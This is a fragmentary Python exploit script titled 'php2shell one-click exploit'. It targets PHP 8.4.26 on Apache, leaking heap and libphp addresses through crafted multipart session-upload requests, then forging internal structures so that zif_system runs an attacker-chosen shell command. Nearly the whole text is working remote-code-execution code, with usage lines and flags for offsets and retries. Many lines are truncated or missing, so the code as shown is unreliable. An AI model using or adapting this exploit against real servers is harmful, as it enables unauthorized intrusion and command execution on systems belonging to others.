python3 exploit.py -u -c 'id>/out/p1' --proof-file out/p1
python3 exploit.py -u -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes. For a longer command, chain it
through a short shell trigger, e.g. `sh bytes:
out += b'Content-Disposition: form-data; name="' + name + b'"'
out += b'; filename="' + p["filename"].encode() + b'"'
out += b"\r\nContent-Type: application/octet-stream"
def read_offsets_file(path: str) -> dict[str, int]:
"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""
with open(path, "r", encoding="utf-8") as f:
if not line or line.startswith("#") or "=" not in line:
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
raise ValueError("URL must be http:// or
self.port = u.port or (443 if self.https else 80)
s = socket.create_connection((self.host, self.port), timeout=self.timeout)
s = ctx.wrap_socket(s, server_hostname=self.host)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 bytes:
for k, v in (extra_headers or {}).items():
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
# Read concurrently with the upload: some exploit requests make the
# worker abort right after sending Set-Cookie, and a recv() that starts
# after the RST loses the already-buffered response.
reader = threading.Thread(target=_reader, daemon=True)
pass # the worker may abort while the body is still in flight
reader.join(timeout=(timeout or self.timeout) + 1.0)
def get(self, path: str, read_cap: int = 1 tuple[int, bytes]:
head, _, body = bytes(data).partition(b"\r\n\r\n")
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
return (int(m.group(1)) if m else 0), body
m = re. (rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))
def chunk_base_from_cookie(raw: bytes) -> int:
"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
v = int.from_bytes(raw[i:i + 8], "little")
def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:
"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.
The page-aligned check is 4KB, not 2MB: the lab build happened to map
libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
at a 4KB boundary (e.g. base 0x...acdb000).
if not (0x7F0000000000 tuple[bytes, bytes]:
f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
struct.pack_into(" None:
"""Write the fake reference over PS(http_session_vars) and execute."""
{"name": "PHPSESSID", "data": b"a" * 19},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
parts.append({"name": name, "data": b"V" * vl})
parts += [self._file_part(), self._big_field()]
# Keep PS(id) valid: php_session_initialize then leaves
# send_cookie=0, so B's init does not allocate the Set-Cookie
# header at R0+16 (which would clobber val.type).
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
ht, ref = self._fake_payload(htdata, zif)
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
# The bookworm reference is still alive (rc=2). A 15-byte
# bin-40 zend_string lands its chars exactly at
# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
# low 7 bytes of val.value to the fake HashTable, and let the
# high byte stay 0x00 (canonical 0x00007f... pointer).
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
parts.append({"name": "g00", "data": carrier})
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
parts.append({"name": f"f{i:02d}", "data": ref})
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
ap.add_argument("-u", "--url", required=True,
help="target PHP page, e.g.
ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"command to execute (max {MAX_CMD} bytes)")
ap.add_argument("--proof-file", default=DEFAULT_PROOF,
help="read this local file after exploitation; '' disables")
help="GET this path afterwards (for commands writing to webroot)")
ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")
ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")
ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",
help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")
ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
help="chunk-relative offset of the 167-byte live string")
ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
help="read libphp offsets from this file ('' to disable)")
ap.add_argument("--docker-container", default="php2shell-target",
help="container used to auto-derive offsets on localhost")
ap.add_argument("--no-auto-offsets", action="store_true",
help="never run docker/offsets.py automatically")
ap.add_argument("--huge-mb", type=int, default=12,
help="size of the OOM field; must exceed memory_limit")
ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
ap.add_argument("--no-pre-rotate", action="store_true",
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--retries", type=int, default=3,
help="attempts per leak stage; stage 3 uses retries+2")
ap.add_argument("-q", "--quiet", action="store_true")
ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")
args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"
local_offsets = read_offsets_file(args.offsets_file)
t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)
# A local docker target may be built from a different image/toolchain than
# the lab; ask the container for its real libphp offsets once.
if (not local_offsets and not args.no_auto_offsets and args.offsets_file
and t.host in ("127.0.0.1", "localhost", "::1")):
helper = os.path.join(_HERE, "docker", "offsets.py")
print("[*] no offsets file; reading libphp symbols from "
f"container {args.docker_container}", flush=True)
[sys.executable, helper, args.docker_container, args.offsets_file],
stdout=None if not args.quiet else subprocess.DEVNULL,
stderr=None if not args.quiet else subprocess.DEVNULL,
except (OSError, subprocess.SubprocessError):
local_offsets = read_offsets_file(args.offsets_file)
args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)
args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)
ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)
t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
t.log(f"[*] offsets loaded from {args.offsets_file}")
t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
print("HEAP_LEAK_FAILED", file=sys.stderr)
ex.rotate() # each stage needs a fresh worker
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
for attempt in range(1, args.retries + 3):
proof = f.read().decode("latin1").strip()
t.log(f"[-] stage 3 attempt {attempt} no proof yet")
print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
